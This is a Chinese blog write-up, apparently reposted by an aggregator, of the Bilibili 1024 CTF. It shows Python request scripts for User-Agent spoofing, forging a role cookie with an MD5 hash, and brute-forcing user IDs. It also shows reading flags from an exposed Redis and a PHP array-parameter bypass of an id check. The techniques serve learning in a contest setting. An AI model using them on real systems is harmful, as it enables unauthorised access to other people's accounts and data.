RequestsBilibili Security 1024程序节 CTF记录

Posted 糖果天王

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RequestsBilibili Security 1024程序节 CTF记录相关的知识,希望对你有一定的参考价值。

0x00 前言

B站搞了个1024程序员节,看起来是个 toy CTF,有点开心。
于是想到了曾经在CTF和ACM的路口选择了ACM,CTF一直是心中的一点遗憾,想着要不咱……玩玩看?

【写在前面】这次有点意思,可能 flag 是需要和各位自己的 uid 有某些计算的,不同账号同一时间以及相同账号不同时间的答案居然会有不同,看来是为了防止无脑抄袭,至少还是需要用自己的 uid 亲自走一遍流程的,不错不错。

0x01 养成看到网页就F12的好习惯

页面的背后是什么?
题目地址: http://45.113.201.36/index.html

说到网页的“背后”,一般想到的就是有东西被隐藏了,我们可以直接审查元素看到果然有个 hidden:

<body>
    <div class="banner">
        <!--<img src="banner.png" alt="哔哩哔哩" οndragstart="return false;">-->
	<img src="api/images?file=banner.png" alt="哔哩哔哩" ondragstart="return false;">
    </div>
    <div class="content">
        <h2>欢迎来到哔哩哔哩星球!</h2>

    <section id="getintouch" class="flipInX animated">
        <div class="container" style="border-bottom: 0;">
            <h1>
                <input id="flag1" type="hidden" values="flag1"></input>
                <h4 id="flag2"></h4>
            </h1>
        </div>
        <div class="container">
        </div>
    </section>
    </div>
</body>

把 hidden 删掉,或者直接从审查元素里把 flag 拖出来复制就好啦 ~

0x02 Headers & User Agent

真正的秘密只有特殊的设备才能看到
题目地址: http://45.113.201.36/index.html

页面地址和刚才的一样,说到特殊的设备,我的第一反应其实是“大概要用移动端吧”,所以即便看到了网页源码里没有区分设备的代码,我也抱着“可能有 User Agent 分流的高端操作”的想法用手机看了看。
—— “HTTP 406 请先登陆”
—— “HTTP 403”
哦对不起,看来是我搞错了。
然后我们回到页面上来,有这么一句话叫做:

需要使用bilibili Security Browser浏览器访问~

打开网页的审查元素,我们可以看到:

$.ajax(
    url: "api/ctf/2",
    type: "get",
    success:function (data) 
        //console.log(data);
        if (data.code == 200)
            // 如果有值:前端跳转
            $('#flag2').html("flag2: " + data.data);
         else 
            // 如果没值
            $('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
        
    
)

简单解释一下就是,我们找一个叫做 “api/ctf/2” 的 API 要答案,如果它认识我们就给,不认识,那就不给。
根据页面的提示来看,我寻思着得用 bilibili 安全浏览器了,但哪有这浏览器呀,那意思是……
User Agent 是 “bilibili Security Browser”?

import requests

headers = 
	'Host': '45.113.201.36',
	'User-Agent': 'bilibili Security Browser',
	# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
	'X-Requested-With': 'XMLHttpRequest',
    'Connection': 'keep-alive',
    # 'Pragma': 'no-cache',
    # 'Cache-Control': 'no-cache',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',


s = requests.Session()
url = 'http://45.113.201.36/api/ctf/2'

if __name__ == "__main__":
    response = s.get(url=url, headers=headers)
    print(response.text)

—— “HTTP 406: 请先登录”

哦哦哦还要登录! 那Cookie也得贴一下(安全起见,我挡一下session):

headers.update
	'Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg'

好了拿到了:

>>> print(eval(response.text)["msg"])
请先登录
>>> headers.update('Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg')
>>> response = s.get(url='http://45.113.201.36/api/ctf/2', headers=headers)
>>> response.text
'"code":200,"data":"9535c0a5-41f5074d-44115638-63fa8d2d","msg":""\\n'

0x03 我不承认弱密码是CTF的一种

密码是啥?
题目地址: http://45.113.201.36/login.html

上来就给了一个用户名密码让你填,看了看网页元素。
里面一个 ajax 的意思是对着 api 发送用户名密码,对了给 flag,错了不给。
第一反应尝试了一下 admin/admin,结果不对
然后试了一下 admin/123456,结果也不对
然后看了一下页面上 “二次元” 世界,欢迎来到 “哔哩哔哩星球” ……

bilibili / bilibili 不对
admin / bilibili 呃…… 对了
这算是个什么题嘛!

0x04 超级管理员有几种写法

对不起,权限不足~
题目地址: http://45.113.201.36/superadmin.html

看了一眼,这个页面的 get 操作什么都没找我要,那么就是在 header 里做文章了,看了下Cookie分为两个部分,role 和 session,其中 role 是一个32位看起来很像16进制的字符串。
—— 难道这就是 flag?
—— (提交)哦不是
—— 那莫非是 MD5?


u开头的……四个字符…… 莫不是user吧哈哈哈。
然后试了一下…… 真的是……

MD5("user") = ee11cbb19052e40b07aac0ca060c23ee

那我是不是只要用超级管理员的MD5来替换掉这个Cookie里的role就行了?
太简……单……哎?admin 的 MD5 也不对,superadmin 的 MD5 也不对?

# MD5  
user: ee11cbb19052e40b07aac0ca060c23ee
admin: 21232f297a57a5a743894a0e4a801fc3
bilibili: 130e29f351572e58c49fd4c910d7beb0
superadmin: 17c4520f6cfd1ab53d8745e84681eb49
超级管理员: 302ff00ddb9cb45c970a316e5212bb34
administrator: 200ceb26807d6bf99fd6f4f0d1ca54d4
Administrator: 7b7bc2512ee1fedcd76bdc68926d4f7b

于是实验了如此之多的情况,终于在最后一个超级管理员的单词上得到了正确的 flag(你用这词谁能第一时间想到啊!怒):

# 省略 10000 字尝试过程
>>> data = "username": "superadmin"
>>> data = "role": "superadmin"
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers)
>>> response.text
'"code":"403","data":"","msg":""\\n'
>>> headers.update(
... 'Cookie': 'role=200ceb26807d6bf99fd6f4f0d1ca54d4; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',)
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers)
>>> response.text
'"code":"403","data":"","msg":""\\n'
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers)
>>> response.text
'"code":"403","data":"","msg":""\\n'
>>> headers.update(
... 'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',)
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers)
>>> response.text
'"code":200,"data":"9683e651-a291e88e-056553b8-30141099","msg":""\\n'

0x05 暴力破解真的是一种美学吗

别人的秘密
题目地址: http://45.113.201.36/user.html

        $(function () 

            (function ($) 
                $.getUrlParam = function(name) 
                    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
                    var r = window.location.search;
					console.log(r);
					r = r.substr(1).match(reg);
                    if (r != null) return unescape(r[2]); return null;
                
            )(jQuery);
        
            var uid = $.getUrlParam('uid');
            if (uid == null) 
                uid = 100336889;
            
            $.ajax(
                url: "api/ctf/5?uid=" + uid,
                type: "get",
                success:function (data) 
                    console.log(data);
                    if (data.code == 200)
                        // 如果有值:前端跳转
                        $('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
                     else 
                        // 如果没值
                        $('#flag').html("这里没有你想要的答案~")
                    
                
            )
        );
   

我们可以看到,这题一上来摆明了告诉你我就找你要一个 uid。
没有提供 uid 的情况下会直接用一个默认的(这个默认的 uid 我也去看了,确实应该就是个普通吃瓜观众)
我第一时间实验了 ⑨bishi老爷的uid,已婚的uid,都不对。
然后去看 22娘 33娘 好像也没有官方认证的账号,uid 也无从得知。
那就很无奈的只能暴搜了……

from configparser import RawConfigParser

import requests

headers = 
    'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.X5QVaw.SEwRNzYMFgFui7Tzo1FBJStdQeg',
	'Host': '45.113.201.36',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
	'X-Requested-With': 'XMLHttpRequest',
    'Connection': 'keep-alive',
    # 'Pragma': 'no-cache',
    # 'Cache-Control': 'no-cache',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',

# self.headers = None

s = requests.Session()
url = 'http://45.113.201.36/api/ctf/5?uid='


if __name__ == "__main__":
    # for i in range(10000):
    for i in range(100336889, 100337000):
        response = s.get(
            url=url + str(i), headers=headers)
        print(i, response.text)

爆搜到 100336921 的时候出现了 HTTP 200 和 flag 字符串,但我并高兴不起来,我总觉得是不是还有别的方法可以得到这个 uid。(问了下其他人,他们的是 923,而我的是 921,看来答案还具有多样性)

0x06 让我看看题目到底是啥好不好球球了

结束亦是开始
题目地址: http://45.113.201.36/blog/single.php?id=1

从这里开始,题目就不从 start 页面中获得了。
可以认为一条新的线路从这个新的 ip 站点开始了。
——对不起,等我们赶到的时候,这个站点已经连不上,就只剩下这个缓存页面了。

0x08 你们就不想让这个服务器活着

知道为什么第六题老上不去吗?
因为第八题要扫开放端口。
大家都不知道是哪个端口所以都在扫,这个一般来说叫什么呢?
嗯,叫DDOS。

就不说怎么扫端口了,for 循环挨个试验比较呆,直接告诉你们是 6379 端口。
下载一个Redis客户端:
https://github.com/microsoftarchive/redis/releases

redis-cli.exe -h 120.92.151.189  -p  6379
(120.92.151.189:6379) > keys *
1) "flag4"
2) "flag5"
...
11) "flag8"
(120.92.151.189:6379) > get flag8
flag8:d436b982-2b81aa54-49a8d2db-87ab951a

0x10 你们这套操作是我七夕玩剩下的

七夕的时候给 @ZoeCUR 写了个CTF当礼物(然后被好友喷了个狗血淋头说我是钛合金直男),用的方法和这题几乎完全一样 = =

首先试着打开了 http://120.92.151.189/blog/test.php
看到了一个只由 ![] 组成的文本,我第一时间居然去找了猴语解码,是我孤陋寡闻了。询问 dalao 后得知这东西叫 JSFuck 编码……
你们这些写JS的怎么回事?!

总之解码之后可以得到两个字符串:

"程序员最多的地方"
"bilibili1024havefun"

刚看到这里我就突然有种既视感,别是要在github上找到个文件,然后文件指向一张图片,然后图片里藏了个字符串,然后字符串解码是个七夕祝福视频啊(事实证明除了七夕祝福视频,都一样……)!

在我回头写这篇博客的时候才发现 Github 上蹭热度的人已经把搜索结果污染了 23333,蹭还是你们会蹭,有星吗就蹭?(我的天还真有人拿了三颗,我酸了)


我们不管那些蹭热度的,总之真实的文件是这个
https://github.com/interesting-1024/end/blob/main/end.php

文件内容如下:

<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1)
	$content = file_get_contents($_GET['url']);
	
	//文件路径猜解
	if (false)
		echo "还差一点点啦~";
	else
		echo $flag;
	
else
	echo "你想要的不在这儿~";

?>

里面是一个提示,告诉我们有个叫 end.php 的东西,好我们回头到目标IP的靶机上。照抄学一个 url:

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
暂时截不了图……写到这目标网站又连不上了……
总之随便构造,只要满足条件的传参无论你写啥都是能拿到一张图

CSDN上传的图片是压缩的,图片各位还是得自己下载。
用记事本打开图片的末尾就能看到 Flag:

flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65

以上是关于RequestsBilibili Security 1024程序节 CTF记录的主要内容,如果未能解决你的问题,请参考以下文章

初识Spring security-添加security

WildFly 中 security-realm 和 security-domain 的区别

Spring 中的 spring-security-oauth2 与 spring-security-oauth2-core

org.springframework.security.oauth 和 org.codehaus.spring-security-oauth 有啥区别?

java.security.Principal - 在 HttpServletRequest 和 Spring Security 中创建

spring security笔记